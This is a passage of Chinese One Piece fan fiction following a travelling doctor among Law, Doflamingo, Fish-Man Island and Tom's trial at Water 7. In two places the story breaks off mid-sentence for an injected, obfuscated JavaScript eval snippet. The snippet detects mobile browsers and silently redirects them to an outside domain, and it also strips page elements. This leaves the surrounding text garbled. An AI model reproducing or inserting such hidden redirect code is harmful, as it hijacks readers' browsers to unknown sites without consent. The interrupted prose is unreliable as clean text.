罗一把推开这个越凑越近的家伙,在对方的笑声里压压帽子:“没有!就是跟着回来了!” 哼,臭小子耳朵都红了,赢了。 茵弗心情很好地拍拍开始抽条生长的小孩,让他多吃点,太瘦了。 “话说,我还没好好谢谢您吧。” “什么?” 罗抬眼,对上完全聚焦在他身上的眼神。认真的,骄傲的,充满爱,带着一丝歉意地眉头微皱。 “有我这样爱惹麻烦的老师,辛苦您们了。” 茵弗抬手,模仿着罗开启ROOM的姿势,嘴里模拟着咻地声音,然后保持着姿势直起手腕,扣到罗的胸口处。另一只手拉起青少年僵住的手,放到他自己的心脏上。 一个频率稳定,偏慢,一个咚咚咚地越砸越响。罗的手指蜷缩了一下,好像被活着的证明烫到。他开启ROOM,取出面前人的心脏。另一只手按上扔轻轻扣在自己身上的手,自己的心脏也滑到对方掌心。两个方块被交叉着举到眼前。 “哇...第一次见自己的心脏呢...也没有一些人说的那么黑嘛...我看看你的。” 茵弗摸摸自己身上的空洞,将手里的心脏收到自己面前看着。罗在他对面盘腿坐着,两手捧着手里的方块搭在腿上,一只在自己手里扇动翅膀的鸽子。 眼角带痣的人将他的心脏举着,突然问他外面的块块是隔离开器脏的话,他可以吻一下咯?他能感觉到自己刚平复的心跳又开始频率加快,大概对方也能感觉得到。什么吻一下啊,这样太难为情了吧!五岁的时候他就不让他亲,十五岁更不要—— 啾、 “谢啦,小特拉先生。” 好奇怪的感觉。 罗起了一身鸡皮疙瘩,臭着脸将二人的心脏塞回,说他明明是个医生,拿着人家的心脏还是要注意着点吧。茵弗玛利只是咯咯笑,摸着他已经没有缝隙的胸口。 他清单上的恶魔果实已经全部找到,不过他不打算想如果当时自己拿到手术果实能不能救下罗杰了。 罗救下他了、这是存于现在事实,他也比自己更适合它,会救下更多的人。他还不如想想到底给那个缠着自己要恶魔果实的小炮仗选哪颗呢。 罗端详着他,没有摁下秒表。 - “嗯...没有什么机器人激光果实之类的?” “呋呋呋没准真的有哦,虽然没听说过。” 茵弗窝在罗西南迪身上,看黑曼巴手里的恶魔果实清单。大渡鸦也变强了不少,虽然和他或者多弗朗明哥还是弱吧,但是听起来肯定不止是海军中校的水平。 软咩咩还是软咩咩的,和他哥一样黏人。虽然蒂奇的事情确实又吓他们一跳啦,生命卡烧没一张,换了新的结果又要烧没这种事情放在自己身上也会吓死。 生命卡燃烧的ptsd。 “多弗打算对天上金动手的事情我报给元帅了。”罗西南迪头疼地看着桌上的文件,一只手揉捏着怀里的人蜷在他身上的左腿。 “战国先生怎么说。” “两手准备吧,想让我——也就是让你牵制,另一面海军那边会做好准备。” 话题的主角就在他俩旁边,阴阳怪气地笑着说想给家里多弄点钱还不好?买一整片海的鱼给医生补脑子。 茵弗用笔又在手里的名单上画了个圈,嘀咕其实天上金他也挺馋的。 “呋呋呋你看吧罗西。” “不行的,多弗,茵弗也是的!” 手上的名单被放到桌子上,茵弗玛利哼唧着说那群人还没赔他精神损失费呢。他没又跑到上面去要灰中的赔偿金都是他脾气好。不过算啦,小米果中校说不行就不行吧。 “你就是太宠着罗西了呋呋呋。” “哪里哪里,没您会宠。那种什么你家楼梯害我弟弟摔跤磕破膝盖所以就全都去死吧。” 罗西南迪啪地捂住脸,倒是不至于啦...如果真的是那样,他会让茵弗揍他的。上次.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060325|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .那只是借口,要吞掉费尔德的时候铲掉他手下的分部点...而且他也不是摔跤才受伤的! “如果我能抢来天上金还能让那群老头闭嘴呢?” “?这么厉害的?要怎么做。” “用【秘密】,我们在弗雷凡斯谈过的呋呋呋。” “您...有告诉过我是什么吗?我想不起来了。不过这么厉害的吗。” 粉毛火烈鸟回答说,玛丽乔亚的【秘宝】。 模棱两可的。 茵弗沉思了一会儿,在罗西南迪担心他真的会同意多弗去抢天上金的时候摇了摇头。 “您要是想通过它达成别的目的我们可以换一种方法,太随便地用这么敏感的消息的话,我担心他们会对您下手。” 他打了个哈欠,任由自己头脑里的雾气飘散半晌,随便看了看罗西南迪手中的文件。 “您们还要忙多久啊...不想出去玩吗...” “呋呋呋你可以帮忙。” “我脑子不好诶。” “那你就睡觉。” 茵弗又像他常做的那样翻了个面,埋在罗西南迪的衬衫里,嗅着木质醇厚的淡香,一声不吭地乖乖打盹去了。 等细小的呼噜声传来,多弗朗明哥给自己倒了一杯红酒,放下手中的纸张。 “呋呋呋...我也该往新世界发展了吧?” 低头玩着茵弗玛利马尾的人头都没抬。 “情报质量很好,多弗,战国先生不会把我随便召回去的。” 多弗朗明哥摆摆手:“医生早晚会直接找那群老头要钱的呋呋呋。” 要钱,或者再要点别的什么。在弗雷凡斯他在铂铅一事上对着上面的那群家伙呲牙的时候,多弗朗明哥就亲眼看到那棵树种被种下了。 他等不及了。 “他不会允许你窃国的。” “呋呋呋德雷斯罗萨确实很美不是吗?”多弗朗明哥敲敲他面前的文件,“他也会喜欢的。” 他喝了一口酒,笑着让弟弟放松:“又不是只有那一种选择,【茵弗玛利】的一切我们都可以运作。” 露玖在会议时,指向伟大航路后半段的细棍上,盘绕着一样的双蛇与飞禽。 “伊甸鲸已经准备好要游向更广阔的地方,亲爱的弟弟,那里很合适,泰佐洛的出道演出也可以定在那个热情的国家呋呋呋。” 罗西南迪取过海图,丈量着德雷斯罗萨和格林比特的距离。这也是优势,伊甸已经在和小人族合作了。如果他们能在新世界站稳,海军那边对后半段的无力可能也会减小... “新世界不是四海,不是乐园,那里更适合''我们''。” 罗西南迪点点头。 双头蛇会吐出蛇信,嘶嘶低语,去那片无序的海,盘绕在果树之上,带去罪与启蒙,智慧与生命的果。 “呋呋呋这才是【茵弗玛利】的一切不是吗?” 名号的盾牌,一条伊甸蛇。 罗西南迪低头看向怀里的蛇,怀里的鲸,猫,蜗牛,羽毛笼罩下打着小呼噜的——是一颗蛋。 “就像他当时用烂话哄你跟他交朋友,保守罗杰儿子的秘密一样。” 罗西南迪:“!!!你、你怎么知道的?” “呋呋呋我问他了。” 茵弗和从椅子上张过去摔倒的罗西南迪一起掉在地上,有些迷茫地坐起身子,揉了揉眼睛。 多弗朗明哥没管自己笨手笨脚的弟弟,把晕乎乎的长条猫拎起来坐到桌子上,故意将红酒杯放到他手里,看他下意识喝掉之后吐舌头。 “哇...是葡萄酒。” “呋呋呋呋~好喝吗?” “不好喝捏,我想喝牛奶。” 罗西南迪爬起来摆好椅子,有些抱歉自己把他摔下去了,不过这也不是第一次...或者第二次...有时候多弗让baby5给他端热茶来就是故意的吧。 茵弗拍拍他软乎乎的刘海表示没关系,看到一旁自己丢开的名单后拿过来交给多弗朗明哥,让他把标注的几个派人送到对面的宅邸。 “稻草人果实我看被划掉了呢。” “之前不是给小神谕了吗?” “哦对、忘了...他喜欢吗?” “呋呋呋当然。” 霍金斯也好久没见了呢,毕竟他一直被多弗朗明哥带着,离开北海后总是在西海那边。除了一开始发展那几年,茵弗没怎么去过。 “那就看小炮仗选哪个了...您们忙吧我回了。” “过段时间我和罗西带你去德雷斯罗萨度假?” “..罗萨?哦,之前去格林比特路过呢,看起来很漂亮,但是没上岛”茵弗又揉揉眼睛跳下桌子,给他们一人一个拥抱,“好哇,等您们忙完,我们很久没一起了。” - 离开堂吉诃德宅邸,碰到新加入不久的莫奈,茵弗打了个招呼。 “莫奈小姐。” “游医大人。” 绿发少女尊敬地低头,就是面前这个人在妹妹误食了童趣恶魔果实之后为她找到了合适的适应方法,也没有让少主责罚。 “您妹妹呢?还没结束工作吗?” “砂糖和乌塔小姐今天在医院的工作已经结束了,不过抚慰组约了去街上吃甜点,还没有回来。” 茵弗点点头。童趣果实让砂糖永远都停止生长,把人变成玩具还抹去其他人对对方存在的记忆什么的真的是...危险。尤其是对她这个年龄的孩子来说,太容易扭曲她对“生命”的认知了。 所以他找多弗朗明哥要人,招了一批志愿者每天被她变成玩具,和乌塔一起给医院里的人带去欢乐,然后晚上再变回来。歌歌果实配合着让她“失去意识”这件事真的轻松。 “多让您妹妹跟柯拉松先生接触,葡萄收到了吗?哲普先生真的很有挑选食材的眼力,她一定喜欢。” “是,谢谢您,等她回来我会拿给她吃的。” 茵弗友善拍拍她的肩膀,对方手里拿着几本书,最近她和罗宾相处得也不错,难得有他们年龄相近的女孩子。 他随着她指点的方向找到后院,大概是刚和雷利的训练结束吧,一群豆丁们累累地躺在草坪上。 拉过基德,带他去选恶魔果实。红头发的炸毛小子兴奋地咋咋呼呼,最后在自然系、动物系和超人系里选了超人系的磁磁果实。 “哇...我当时差点把这个送给白胡子海贼团呢...因祸得福吧。”他在小孩迫不及待想吃时收回手,“我其实想在你十六岁再给你的,吃果实是一辈子的事情...” 基德:“我知道我知道!我不结婚!” 茵弗:“不、不是这个问题...” 没耐心的小子已经在这段时间听过他念叨要想好什么的一万遍了。十六岁也太久了!离他准备出海的时间都—— “我不听我不听!不要告诉我你打算什么时候出海!”茵弗把果实塞到他手里,雷利也说多几年练习的时间也有好处,“吃吧吃吧!” 总之家里的能力者又多了一个。天天看勺子什么的到处乱飞,吃饭的时候尤其鸡飞狗跳。喜欢机器人和恐龙的小子也确实适合这个果实,毕竟自己手里没有幻兽种和古代种,又不能给他弄变恐龙的。 好不容易才消停了没几天,茵弗从办公桌上抬头,看向推门进来发型差不多的一黑一金两个小孩。 “小姨,我们...” “那个、我们也...” 行、他养没养出来一窝海贼不提,一窝想做秤砣的倒是真的。 76.审判 恶魔果实还没选定,茵弗便急匆匆地去了海下一万米。 一位喜好鱼人族奴隶的天龙人为了抢回被解放的鱼人奴隶们去了鱼人岛,被海王类攻击而遭了海难。原本曾被其奴役的鱼人们打算借机将他杀死,被乙姬王妃及时阻止。乙姬受了伤,要不是白星的哭声引起海王类暴动,险些被穆丝加鲁德射杀。 茵弗黏在桑贝尔身上,絮絮叨叨地念叨着。 “所以说您要对人类更加小心啊,您救了他不代表他就会感激您,您要真出点什么事我真的会把那家伙干掉的。” “是的是的您跟我说过白星殿下的能力了我知道了,海王波塞冬,对她来说很危险呢。而且她好大哇,加倍可爱。” “去玛丽乔亚?不行不行那破地方乌烟瘴气您去了能力会烧坏的,我——” 乙姬止住了他的话:“我知道,小茵弗,但是我不会有你当时那么严重的。” 乙姬听到【心声】而茵弗听到【痛苦】。她不会有机会接近关奴隶们的地方,见到的更多的会是天龙人和世界政府人员。虽然不适,但是并不会像茵弗那样整个人过载。茵弗摇摇头,反驳道:“那整片土地都被痛苦的声音泡透了,殿下,即使您不像我一样去深处,也到处都是奴隶。他们的''自动代步梯''都是地下奴隶在拉。” 桑贝尔把怀里的小鱼苗捞起来放到身旁椅子上坐下,询问他不是只能听见“活着”的东西吗?茵弗又靠在他身上,点点头,牵住人鱼妈妈的一只手。 “您知道''船精灵''的故事吗?乙姬殿下曾经给我形容''被倾注足够感情就会诞生声音''的事情。” 但是他没有听到过,所以一直认为也许自己就是听不到吧,直到玛丽乔亚。他看不到,但是跪伏在地上的瞬间就听到了,圣地所栖息的红土大陆被血染得赤红。更不要说他切实接触了那么那么多的奴隶——伤害堆积,奄奄一息,比绝症还要绝望的苦。 “那是块疾病泛滥的土地,先生,恶与恨浇灌出了只会嘶吼与哀嚎的恶精灵。” 乙姬面色苍白,大概是听到了他内心的东西,所以他努力不继续去想。桑贝尔揽在他身上的大手紧握着他的肩,捏得稍微有点痛。 “总之我不建议您去圣地,把那个居然也姓堂吉诃德的天龙人送到香波地就行。” 他问多弗朗明哥了,大概就是旁系亲属这样。除了丝毫的血缘,他们没什么关系。不过茵弗看穆丝加鲁德的身高,怎么也没想明白那俩兄弟到底怎么长得那么高。 乙姬捏捏他的手:“我也想借此机会,要到同意将鱼人岛迁移陆地的文书。” 茵弗摇头:“鱼人岛不需要迁移到陆地,殿下,您的很多很多子民们都已经在陆地上生活了。东海就是最好的例子。” 多年的平和相处,为了灰中的发展共同努力,鱼人族在东海已经是和人类和平共处,共同在太阳下生活的典范。其他几个海域,包括奥比塔拉,也都有类似如此的影子。 “您想让他们去真正的太阳下生活,不代表就要将整个鱼人岛搬上去。很多鱼人族仍然喜欢海底,只是偶尔能上去转转便足够满足了不是吗?海底可以生活的地方仅此一处,陆地上有很多。” 经过鱼人岛这些年在经济贸易和军事力量等方面的发展下,事态好了很多,有了海军和舆论方面的支持,民众们也在对他们改观。但天龙人仍然喜欢鱼人族奴隶,所以危险仍然存在,还是会有很多人冒着各种风险去抓捕他们。奥比塔拉因此而解决掉的人贩团伙名单列得很长。 而且还有方舟诺亚,他一直不知道那么大的一艘船是做什么用的,如何行驶。还有... “对了殿下,鱼人岛的那块红色历史正文去哪了?” “...小茵弗,''罗杰海贼团是鱼人岛永远的贵客''。” 迷惑地眨眨眼,他看向身旁高大的鱼人先生。 乙姬还是去了圣地。她的能力和茵弗的不一样的重要一点在与于她的就是纯粹的见闻色,而茵弗则只是和见闻色挂钩而已,对他来说更像是扩音器一样。他没法关掉自己的能力,但是就像见闻色是可以随时开启关闭的一项技能。乙姬可以选择不去听【玛丽乔亚】。 他们二人永远都是这样,长时间的讨论,一方补足另一方所看不见的角度。鱼人岛不会完全迁移到陆地上,但是乙姬会申请世界政府允许他们在海面上的某座岛屿建立隶属鱼人岛的“小鱼人岛”。等王子们再长大些,便可以做小鱼人岛的管理建设者了。 还需要时间,但是见到切实希望的乙姬充满了干劲,鲜艳的唇在茵弗脸上留下大量红印后,吩咐御厨晚宴给他做新鲜的大扇贝。 他不会跟着她去玛丽乔亚,即使他担心。汤姆的审判日快到了,他得提前一阵子去七水之都。 “是的,所以下一次去艾尔巴夫拜访时请带上布蕾联通的镜子,我要去看长辈...布琳小小姐问山治小先生什么时候下一次拜访?啊...等我回去吧。” 偶尔带着山治和哲普去托特兰偷学甜点烘焙,他倒是交到朋友了。三眼族的小女孩,不过第三只眼是正常水平方向的,而不是茵弗一开始听说时以为的纵向。布琳在询问他没有别的感想的了吗的时候回答没有,被小女孩捶了一软拳。 山治也向着她,就像个小骑士一样赶跑其他嘲笑她的小孩,还送她发夹夹起容易戳到眼睛的碎发。''要多夸女孩子漂亮的地方呀!'',金发小王子这么教育他。 好吧好吧,您的眼睛即使不是纵向会发出激光的也很漂亮啦,这种事情不是有眼睛的人都知道吗? 然后又被捶软拳。 小女孩真难懂呀。 挂断电话虫,茵弗叹了口气。 他把额上挂着的墨镜滑到鼻梁上,对无奈看着他的桑贝尔做了个鬼脸。 “你还是和以前一样,茵弗医生。” “确实好久不见了,大蓝,当时让您们担心了。” 甚平摇摇头,真挚地拍拍这个让他无比尊敬的朋友。二人也相识十几年了,有些话不用多说。 新一批的孩子们早就成长起来,以截然不同的方式。他现在在早就不像曾经那样需要做的那么多了。 “所以您想跟我走?” 旁边的泰格笑笑:“被你救下的很多同胞都想跟你走,还有一部分去了阿龙那里。” 一直跟着他旅行的只有泰格,要加上甚平吗?感觉也不错啊。 “他们怎么知道是我?要是我的伪装那么容易就能被认出来可是会有大麻烦。” 有点不好意思的甚平挠挠脸:“是我说漏嘴了,当时询问的时候...” 不过他不可能都带着,这些受了伤害的人对人类的观感更为复杂。能有一部分去阿龙那边愿意试着和人类继续和平共处他都很惊讶了。愿意跟着他,不代表愿意接受其他人。难办啊。 茵弗吃了口扇贝。 “他们身上的印记呢?” “有的重新遮住了,有的做了祛疤。” 他点点头,自从玛丽乔亚事件后伊甸给不少出逃奴隶做了祛疤手术。不过有的人觉得只是抹掉,清除不掉刻在骨子里的屈辱,选择再次破坏来覆盖。大面积的烫伤伤疤不能做纹身,只能选这种用痛苦来清洗痛苦的方式。 不能说哪种选择更好,茵弗会为每一个还能继续活下来的人鼓掌。 烧伤疤痕很难去除,激光手术也痛的。也许这也是选择给奴隶们“烙印”的一大原因? “跟着我回奥比塔拉可能不太合适。” 泰格犹豫半晌:“也许我能带着同胞们去海面上旅行,跟着运输队跑船这类的?让他们重新适应。” “那您跟露玖商量吧,给您们划一艘船,岛上鱼人族的员工们反正之前都是您在管,也可以问问有没有想要一起出海的。也不用就干活,散散心冒冒险也行,注意安全就好。” 甚平和桑贝尔他带走。杰克逊号上的鱼人先生去找雷利喝酒,带上一些鱼人岛的纪念品,送他来的比格道普与载着乙姬的龙宫城船队一齐上浮。 “上次的藏宝图怎么样?有找到吗?多弗朗明哥先生说是真的呢。” “找到啦,不过不知道被哪个混蛋抢先一步。那鬼地方机关可多了,白跑一趟。” 大名鼎鼎的巴基速递创立者,悬赏单上赫赫有名的巴基海贼团船长正坐在甲板上保养飞刀。身后的人玩着他的头发,非要给他编辫子,戳来戳去的感觉一定是又在里面塞什么花啊什么的了。 “每次都要玩本大爷的头发,这么喜欢干嘛自己不留长点?” “我不喜欢洗头啊,留太长好麻烦的。” 茵弗永远都只保持着足以扎起小小低马尾的长度——斯宾塞送给他的长度。 他捏起指尖的发,对比着海。 “长发超级难弄干,就像潮乎乎的海带...带着黏糊糊的洗发水。但是就算你在珊瑚湾,我也看到你是海带的海...” 又开始了... 巴基叹了口气,翻了个白眼,静静地听着他念叨。 - 同样蓝发的弗兰姆、不,改名弗兰奇的青年嘛...嘛就是变态的蓝吧。 “哦你super会夸人嘛黑皮男!” 茵弗没在意弗兰奇的奇怪动作,这家伙在工程出了一次意外后开始热衷于改造自己。加上那群曾经就研究过这事的杰尔玛科学家,现在快成半机器人了。胳膊并在一起还能组成星星。 他们在参观正在改造成战舰的伊甸鲸。其实现在的伊甸鲸们一开始也不是顺风顺水的,上面配备的武器根据几次航行后的反馈又拉回七水之都改良过。毕竟带着【医疗】这一亮晶晶的红标在伟大航路上航行自然是危险多多。 最后他给汤姆工作室和杰尔玛的工程师们的要求就是至少不能比军舰差吧,类似这样的。如果遇到海上的战斗,不管是海军和海贼,还是海贼之间,他希望伊甸鲸能站到最后。 “抱歉...笨蛋奇这么多年还是没什么长进。” “没关系,冰山先生,就这样蛮可爱的。” 艾斯巴古也成熟许多,当年身上还带着热血感,现在真的就像他名字一样,冷静可靠。多年未见,和奇迹游医聊天还是像从前一样轻松,他们不知不觉就走回了造船厂。 基德迫不及待地带着路飞他们去给汤姆师傅展现他的新能力,弗兰奇更是喜欢的要死。横杠也长大许多,大青蛙兴奋地在旁边呱呱地蹦来蹦去。 蓝紫色发的男人开口,再次感谢身旁与他身高相近的人。他们并肩踏在共同为七水之都,为整片海带去希望的生源地上前行,他听到对方的轻笑。 “汤姆工作室接下来准备做什么?” “啊...汤姆先生想看看海列车还能不能联通更多的地方,就像伊甸鲸一样。” “您呢?” “我想...” 爱着七水之都,爱着造船厂的人啊。茵弗拍拍这个响当当的男人肩膀,期待着他的未来。他走到用能力拼凑起巨大机器人身边,哐地一声将它踢到在地,还在跟弗兰奇炫耀它结实,其实只是用磁力勉强吸着的红毛少年顿时跳脚。越过一地的散碎零件挥着扳手扑到他身上。 “小姨——!混蛋!!” 咧着嘴笑的人鱼阿姨将长卷发拢到耳后,无奈地说汤姆又笑岔气。平日严肃的艾斯巴古也露出笑容,希望接下来的审判日一切顺利。 最终审判的三天前,一批黑西装找上门来。茵弗让孩子们都乖乖呆在波比上,罗宾悄悄用能力探查,给他转述。 不仅名字像,长得也像当年杀了博士的人的斯潘达姆、CP5、要求汤姆交出古代兵器“冥王”的设计图——啊,原来如此。 “当时在奥比塔拉的间谍好像也在,方方的长鼻子。” 罗宾收起能力睁开眼:“提到你为什么在这里了,他们可能会来。” 他点点头。等黑西装前来“拜访”,茵弗又摆出那副面对贵族时的造作傲气,手里端着从和之国带回来的长杆烟斗,语气谦逊无比,但是坐在椅子上,没有起身。 “感谢您来拜访,斯潘达姆先生,请随便坐吧,政府人员找我一小小游医有何事?” 跟在白痴长官身后的罗布·路奇背在身后的手悄悄捏紧,紧盯面前的金发男人。还是像曾经窥见的那样,弱小到会给两个间谍孩子分出多余的感情,强大到不在乎在他之上的权力。他身旁有一位气息很强的剑士,一样带着彬彬有礼的笑容。 斯潘达姆跷着脚张扬地在他对面坐下,可除了他自己谁都能感觉出来室内隐隐的气压下,谁才是上位者,谁为弄臣。 “原来如此...汤姆先生的审判啊...您如此惧怕我吗?还要特意来询问我在此处的目的?”茵弗玛利扬起的嘴角又上扬几分,“我来看看''我的东西'',还需要政府的审批吗?” 斯潘达姆涨红了脸,有些恼羞成怒地指着他,“有不能插手的自知之明就好!等我们带走汤姆,随便你去找别的造船师!” 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064045|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痴啊...路奇旁边的卡库忍住叹息的冲动,这不是明明白白告诉人家他不管审判结果也会把汤姆想办法带走吗... “自然...我只是来检查我订单的进度的。政府的事情是政府的事情。” 长鼻子青年还是把气叹出来了,他有不好的预感,没注意到扫过他的目光。路奇注意到了,淡金色的眼眸自从他们进来后第一次飘过他们,好像才注意到一样。他轻微抽动鼻尖,好像闻到香波地那天的血腥气。 “慢走不送~” 他们随着斯潘达姆出门,在临走前微微回头看向那个姿势都没怎么变过的人。他们终于对上视线,薄薄的唇咬住模样典雅的烟斗,不是烟气——他吹出来一个泡泡。 卡库张大眼睛,那种“被耍了”的感觉莫名其妙地又涌上心头,明明对方什么都没做。他看到金发男人像递给他“小费”时那样,露出一个他有点怀念的,温柔的笑。 他觉得他得跟路奇谈谈,如果这次任务失败,他们该怎么办。 茵弗不需要监听电话虫,他有罗宾。虽然短暂的会面他就发现斯潘达姆的愚蠢了,不过还是没想到有这么蠢。还特意跑来威胁一通,这不还是把让他插手的理由放在银盘子上端来了吗。虽然正在改造中的伊甸鲸看起来不像是常规的样子,鲸鱼头也是拆卸下来的状态好安装武器,但是他身边没人提醒他吗? 也许是用花纹和白发这种吸睛的东西,没人会仔细注意他长什么样一样同样的道理。没了标志性的东西,也没人仔细注意过伊甸鲸吧,它只是艘船而已——所以斯潘达姆也只是选了汤姆造船厂里一艘武器看起来最多的船,派手下去袭击司法船而已。 他嘟着脸用烟斗吹泡泡,身旁的孩子们又开始玩“谁的泡泡比较大”的游戏,挂断嘱咐员工们在审判前撤离工程区,不要干扰审判工作的电话虫。 那两个小子没练会霸气啊,要不然见闻色肯定会发现罗宾藏起来的耳朵吧。 茵弗没去司法船看审判现场,毕竟他“不在意”,奇迹游医只是来看他的鲸鱼的。 第一声炮响后,他揉揉罗宾的头,走出波比。 随后的炮弹被鱼人空手道卷起的枪波拦截,纷纷跳下海的黑衣特工们也没有浮起。罗布·路奇在准备去解决掉海里的鱼人的时候,被一个漆黑的手杖抽在身上。 他变强了,卡库也变强了,但是他们仍然打不过茵弗玛利。时光倒流,事件重现,他俩又被捆住丢在原地。 “我就说吧...又失败了啊我们...”脸上泛起淤青的卡库喃喃着,有些憋屈地靠在墙上。逆着光在他们面前蹲下的男人开口,问他们失败会怎么样。路奇一言不发,卡库嘟囔了一句大概会被''放弃''。 路奇终于开口,提醒他第一发炮弹已经打过去了,即使被他阻止,这次胜利的也不是他。 “真的吗?可我最喜欢耍神玩了。” 又来了。 卡库下意识闭上眼睛,额头上被吻了一下,重现着上次的失败。他睁开眼,开口的一瞬嘴里被塞入一块味道熟悉的菠萝糖果。 路奇的口鼻被按住了,就像知道如果凑过来会被野兽撕咬一样。他只能睁大眼睛看着面前的人再次像曾经那样在他额头上留下一个意义不明的亲吻。 在对方拎着他们走向司法船时,他说道:“奇迹游医,松开我们,然后合作吧。你一定是有什么目的吧?” 也像曾经那样,他听到过于平淡的语气。 “我并不需要您。” 在司法船靠岸的附近空地上,斯潘达姆正指责着汤姆胆敢袭击司法船。弗兰奇愤怒地回嘴说战舰改造是他的项目,跟汤姆先生无关。 矛盾激发的一瞬,一团海水裹着几个黑衣人丢在法官面前。 “法官先生。”缓缓走来的人略过僵住的斯潘达姆,蹲到其中一个溺水晕厥的特工面前,拽着他的头发扬起他的脸。 “尊重斯潘达姆先生''不要涉入''的想法,我好好地在波比上呆着呢,看政府很重视这次审判还特意让雇佣的船匠们暂停工作,撤离区域...” 他笑眯眯地起身,将手里的人一并拎起在法官眼前晃晃,“结果我订的船居然被无关人员钻这个空子开走,袭击司法船不提,还不完善的设施可是毁了不少。” 啪,那个昏迷不醒的特工掉在地上。 “轰地一声炮响,都吓到我家小孩了。要不是我的鱼人朋友及时阻止,还不知道要损失我多少钱,被扣一顶多大的帽子。” 茵弗后退几步,正好挡在跪在地上的师徒三人面前。 “您是个法官,正好我刚刚手里那家伙前些天还在斯潘达姆先生旁边见过,替他拉椅子来着不是?” 斯潘达姆慌张地左顾右盼,没有找到他手下战力最强的两个小子,有他们在怎么会失败?跪在地上的艾斯巴古震惊地看着护住他们的身影,和弗兰奇对视一眼。 “您审判完造船师的罪了吗,是不是该替我这个小医生也主持个公道?” - 第一造船师十年建造海上列车,浮生无数,因此免去给海贼王造船的罪责。审判现场被恶意干扰,CP5指挥官''能力不足''成了替罪羊,为了堵上奇迹游医的嘴,世界政府赔了一大笔钱。被丢在隐蔽角落里的卡库和路奇终于用地上废弃的铁片挣开绳索,没有返回CP5的船。 “责任会被他那张嘴全推在斯潘达姆身上吧...” 卡库咂咂嘴,口中仍然留有菠萝的甜味。身旁的路奇没有回答,只是远远地盯着站在人群中央的白衣人。 “所以我们接下来去哪...加布拉他们还...” 路奇抬手,接住悄悄飞来的哈多利。 茵弗在挂断标着政府的十字图案的电话虫后,没在意对自己狮子大张口而感到惊讶的法官。反正奇迹游医就是这样的嘛。他恭敬地对着这位年迈的,努力做到公正的人鞠了一躬后转身告辞。同样再次忽视一脸绝望和愤怒的斯潘达姆,不在意地略过仍然不敢置信地跪在地上的师徒三人。 回到波比,他拥抱了一下颇为辛苦的甚平,刮刮黑发女孩的鼻子,“帮你解决掉斯潘达啦。” 他拿出戴着夸张墨镜的电话虫,愉悦地拨通。 “呋呋呋一切顺利,医生?” “嘛,虽然不是天上金,我也给家里弄了一大笔钱哦~” “呋呋呋呋多少?” “足够您买鱼养脑子了。” 茵弗逗弄着手边怪模怪样的白电话虫。 77.白胡子的八卦 审判结束就离开也太假了。他决定在七水之都呆几个月,至少要等到那艘被他自己弄坏了一点的伊甸鲸建造回到正轨。 “还有这样的?白星殿下才六岁吧?” “就是啊小茵弗!我的乖乖女儿...” 从玛丽乔亚顺利返回的乙姬和他聊着一些过程和事后八卦——什么帕苏斯妈妈因为丈夫以后想要到小鱼人岛去但是自己放心不下孤儿院现在二人气氛很僵,找到乙姬寻求建议之类的,聊着聊着就聊到自家孩子的未来,才知道出了这么一码事。居然有人渣接近小孩子,被抓住后还说什么爱慕公主要求婚。 “不过他就是想利用公主殿下的''天赋''吧。” “是这样的,未来就算有适龄青年只是因为这一点追求白星我做母亲的也一样会不允许。” “那肯定的啊,我第一个揍那样的混小子。” 居然是恶魔果实能力者,他还不太清楚鱼人族这种海洋种族吃了“会被海洋抛弃”的恶魔果实会怎么样呢。不过他的什么靶靶果实会再出现在世界某地吧,没准会被自己回收。 “当时大家应该很激动吧,以后陆地上会有鱼人族的岛什么的,要不然怎么会混乱到能让坏家伙溜到公主身边。”茵弗削着苹果,这么多年他的雕花手艺——还是一般般,“多亏那个护卫啊,叫什么来着?” “霍迪·琼斯,是红十孤儿院出身的孩子呢,后来加入鱼人军,尼普顿说是个很有潜力的好孩子。” “哇呜~突然有点成就感怎么回事?” “当然了,小茵弗。” 门被敲了几下,他和乙姬道别后说了声请进。基拉和罗推门进来,他将削好的苹果递给他们吃。 “谁赢了?” 基拉指指罗。 又是罗啊,手术果实还是太作弊了。不过罗只是撇撇嘴,随便咬着苹果:“我得弄个更好点的刀,不顺手。” 基拉:“我也是...感觉更弧形一点的,轻便一点会更好。” 茵弗摸着下巴回答道:“基拉的刀再弧形的话就是镰刀了吧。” 让他惊讶的是基拉反而恍然大悟的样子,真的要弄两把镰刀吗他?茵弗拍拍他的狮毛脑袋,算了,随他开心就好。 门哐当一声被推开,叽叽喳喳跑进来几个小子,弗兰奇为什么也在? “真是super~男子汉的对决!” “谁赢了?” “平手!路飞输掉。” “老子当然打赢弗兰奇啦哈哈哈!” 朱尼尔和罗宾晃悠进来,给他汇报训练结果。茵弗点头听着,给孩子们分贴纸。艾斯脸红红,和基德一起说幼稚。茵弗没管他,把火焰形状的贴纸贴在他的小雀斑上,又拿起一个星星的拍在弗兰奇的钢铁手臂上——他倒是不说幼稚。 “尼嘻嘻!小姨我要肉的!” “输了诶,小猴子”他啪地把一个西兰花的贴纸拍在他的小背心上,“下次加油啊。” 戴草帽的男孩一脸牙疼的表情皱着脸,跟正在把自己的贴纸收到一个小册子里的金发哥哥撒娇,“萨博~我们换吧!我也想要闪电!” 萨博已经跟他换过不少了,犹豫半天最后还是换了西兰花,然后转过头就问艾斯要不要和他换。 艾斯不满,脸上仍然贴着火焰: “你少宠着他!” “可是你上次也和路飞换了啊。” 